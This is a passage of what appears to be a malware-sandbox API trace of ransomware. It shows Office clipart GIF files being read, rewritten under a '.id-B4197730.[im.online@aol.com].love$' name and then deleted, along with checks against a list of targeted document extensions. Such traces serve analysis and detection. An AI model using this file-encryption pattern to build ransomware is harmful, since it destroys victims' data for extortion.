hFile=0x3a0, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x1b50, lpOverlapped=0x0) returned 1 [0118.210] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0118.210] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0118.210] SetEndOfFile (hFile=0x3a0) returned 1 [0118.210] CloseHandle (hObject=0x3a0) returned 1 [0118.212] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0118.212] SetEndOfFile (hFile=0x3a4) returned 1 [0118.213] CloseHandle (hObject=0x3a4) returned 1 [0118.213] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0118.214] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif")) returned 1 [0118.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0118.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0118.214] lstrlenW (lpString=".doc") returned 4 [0118.214] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0118.214] lstrlenW (lpString=".docx") returned 5 [0118.214] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0118.214] lstrlenW (lpString=".pdf") returned 4 [0118.214] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0118.214] lstrlenW (lpString=".xls") returned 4 [0118.214] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0118.214] lstrlenW (lpString=".xlsx") returned 5 [0118.215] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0118.215] lstrlenW (lpString=".ppt") returned 4 [0118.215] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0118.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0118.215] lstrlenW (lpString=".zip") returned 4 [0118.215] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0118.215] lstrlenW (lpString=".rar") returned 4 [0118.215] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0118.215] lstrlenW (lpString=".bz2") returned 4 [0118.215] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0118.215] lstrlenW (lpString=".7z") returned 3 [0118.215] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0118.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0118.215] lstrlenW (lpString=".dbf") returned 4 [0118.215] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0118.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0118.215] lstrlenW (lpString=".1cd") returned 4 [0118.215] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0118.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0118.215] lstrlenW (lpString=".jpg") returned 4 [0118.215] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0118.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0118.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0118.215] lstrlenW (lpString=".doc") returned 4 [0118.215] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0118.215] lstrlenW (lpString=".docx") returned 5 [0118.216] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0118.216] lstrlenW (lpString=".pdf") returned 4 [0118.216] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0118.216] lstrlenW (lpString=".xls") returned 4 [0118.216] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0118.216] lstrlenW (lpString=".xlsx") returned 5 [0118.216] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0118.216] lstrlenW (lpString=".ppt") returned 4 [0118.216] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0118.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0118.216] lstrlenW (lpString=".zip") returned 4 [0118.216] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0118.216] lstrlenW (lpString=".rar") returned 4 [0118.216] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0118.216] lstrlenW (lpString=".bz2") returned 4 [0118.216] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0118.216] lstrlenW (lpString=".7z") returned 3 [0118.216] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0118.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0118.216] lstrlenW (lpString=".dbf") returned 4 [0118.216] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0118.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0118.216] lstrlenW (lpString=".1cd") returned 4 [0118.216] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0118.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0118.216] lstrlenW (lpString=".jpg") returned 4 [0118.216] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0118.217] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0118.217] lstrlenW (lpString="AG00164_.GIF") returned 12 [0118.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0118.217] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=13254) returned 1 [0118.217] CloseHandle (hObject=0x3a4) returned 1 [0118.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif")) returned 0x220 [0118.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0118.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0118.218] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0118.218] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0118.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0118.218] GetLastError () returned 0x0 [0118.218] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x33c6, lpOverlapped=0x0) returned 1 [0118.459] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x33d0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x33d0, lpOverlapped=0x0) returned 1 [0118.462] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0118.462] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0118.463] SetEndOfFile (hFile=0x3a0) returned 1 [0119.371] CloseHandle (hObject=0x3a0) returned 1 [0119.401] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0119.401] SetEndOfFile (hFile=0x3a4) returned 1 [0119.403] CloseHandle (hObject=0x3a4) returned 1 [0119.403] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0119.403] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif")) returned 1 [0119.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0119.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0119.404] lstrlenW (lpString=".doc") returned 4 [0119.404] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0119.404] lstrlenW (lpString=".docx") returned 5 [0119.404] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0119.404] lstrlenW (lpString=".pdf") returned 4 [0119.404] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0119.404] lstrlenW (lpString=".xls") returned 4 [0119.404] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0119.404] lstrlenW (lpString=".xlsx") returned 5 [0119.404] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0119.404] lstrlenW (lpString=".ppt") returned 4 [0119.404] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0119.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0119.404] lstrlenW (lpString=".zip") returned 4 [0119.405] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0119.405] lstrlenW (lpString=".rar") returned 4 [0119.405] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0119.405] lstrlenW (lpString=".bz2") returned 4 [0119.405] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0119.405] lstrlenW (lpString=".7z") returned 3 [0119.405] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0119.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0119.405] lstrlenW (lpString=".dbf") returned 4 [0119.405] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0119.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0119.405] lstrlenW (lpString=".1cd") returned 4 [0119.405] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0119.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0119.405] lstrlenW (lpString=".jpg") returned 4 [0119.405] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0119.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0119.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0119.414] lstrlenW (lpString=".doc") returned 4 [0119.414] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0119.414] lstrlenW (lpString=".docx") returned 5 [0119.414] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0119.414] lstrlenW (lpString=".pdf") returned 4 [0119.414] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0119.414] lstrlenW (lpString=".xls") returned 4 [0119.414] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0119.414] lstrlenW (lpString=".xlsx") returned 5 [0119.414] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0119.414] lstrlenW (lpString=".ppt") returned 4 [0119.414] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0119.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0119.414] lstrlenW (lpString=".zip") returned 4 [0119.414] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0119.414] lstrlenW (lpString=".rar") returned 4 [0119.414] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0119.415] lstrlenW (lpString=".bz2") returned 4 [0119.415] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0119.415] lstrlenW (lpString=".7z") returned 3 [0119.415] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0119.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0119.415] lstrlenW (lpString=".dbf") returned 4 [0119.415] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0119.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0119.415] lstrlenW (lpString=".1cd") returned 4 [0119.415] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0119.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0119.415] lstrlenW (lpString=".jpg") returned 4 [0119.415] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0119.415] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0119.415] lstrlenW (lpString="AG00172_.GIF") returned 12 [0119.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0119.416] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=4390) returned 1 [0119.416] CloseHandle (hObject=0x370) returned 1 [0119.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif")) returned 0x220 [0119.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0119.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0119.417] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0119.417] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0119.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0119.417] GetLastError () returned 0x0 [0119.417] ReadFile (in: hFile=0x370, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x1126, lpOverlapped=0x0) returned 1 [0119.420] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x1130, lpOverlapped=0x0) returned 1 [0119.421] ReadFile (in: hFile=0x370, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0119.421] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0119.421] SetEndOfFile (hFile=0x3a4) returned 1 [0119.422] CloseHandle (hObject=0x3a4) returned 1 [0119.424] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0119.424] SetEndOfFile (hFile=0x370) returned 1 [0119.425] CloseHandle (hObject=0x370) returned 1 [0119.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0119.426] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif")) returned 1 [0119.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0119.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0119.427] lstrlenW (lpString=".doc") returned 4 [0119.427] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0119.427] lstrlenW (lpString=".docx") returned 5 [0119.427] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0119.427] lstrlenW (lpString=".pdf") returned 4 [0119.427] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0119.427] lstrlenW (lpString=".xls") returned 4 [0119.427] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0119.427] lstrlenW (lpString=".xlsx") returned 5 [0119.427] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0119.427] lstrlenW (lpString=".ppt") returned 4 [0119.427] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0119.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0119.427] lstrlenW (lpString=".zip") returned 4 [0119.427] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0119.427] lstrlenW (lpString=".rar") returned 4 [0119.427] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0119.427] lstrlenW (lpString=".bz2") returned 4 [0119.427] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0119.427] lstrlenW (lpString=".7z") returned 3 [0119.427] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0119.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0119.427] lstrlenW (lpString=".dbf") returned 4 [0119.427] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0119.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0119.428] lstrlenW (lpString=".1cd") returned 4 [0119.428] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0119.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0119.428] lstrlenW (lpString=".jpg") returned 4 [0119.428] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0119.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0119.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0119.428] lstrlenW (lpString=".doc") returned 4 [0119.428] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0119.428] lstrlenW (lpString=".docx") returned 5 [0119.428] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0119.428] lstrlenW (lpString=".pdf") returned 4 [0119.428] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0119.428] lstrlenW (lpString=".xls") returned 4 [0119.428] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0119.428] lstrlenW (lpString=".xlsx") returned 5 [0119.428] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0119.428] lstrlenW (lpString=".ppt") returned 4 [0119.428] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0119.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0119.428] lstrlenW (lpString=".zip") returned 4 [0119.428] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0119.428] lstrlenW (lpString=".rar") returned 4 [0119.428] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0119.428] lstrlenW (lpString=".bz2") returned 4 [0119.429] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0119.429] lstrlenW (lpString=".7z") returned 3 [0119.429] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0119.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0119.429] lstrlenW (lpString=".dbf") returned 4 [0119.429] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0119.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0119.429] lstrlenW (lpString=".1cd") returned 4 [0119.429] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0119.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0119.429] lstrlenW (lpString=".jpg") returned 4 [0119.429] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0119.431] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0119.431] lstrlenW (lpString="AG00174_.GIF") returned 12 [0119.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0119.436] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=3966) returned 1 [0119.436] CloseHandle (hObject=0x3a0) returned 1 [0119.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 0x220 [0119.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0119.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0119.437] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0119.437] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0119.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0119.460] GetLastError () returned 0x0 [0119.460] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0xf7e, lpOverlapped=0x0) returned 1 [0120.013] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xf80, lpOverlapped=0x0) returned 1 [0120.046] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0120.046] 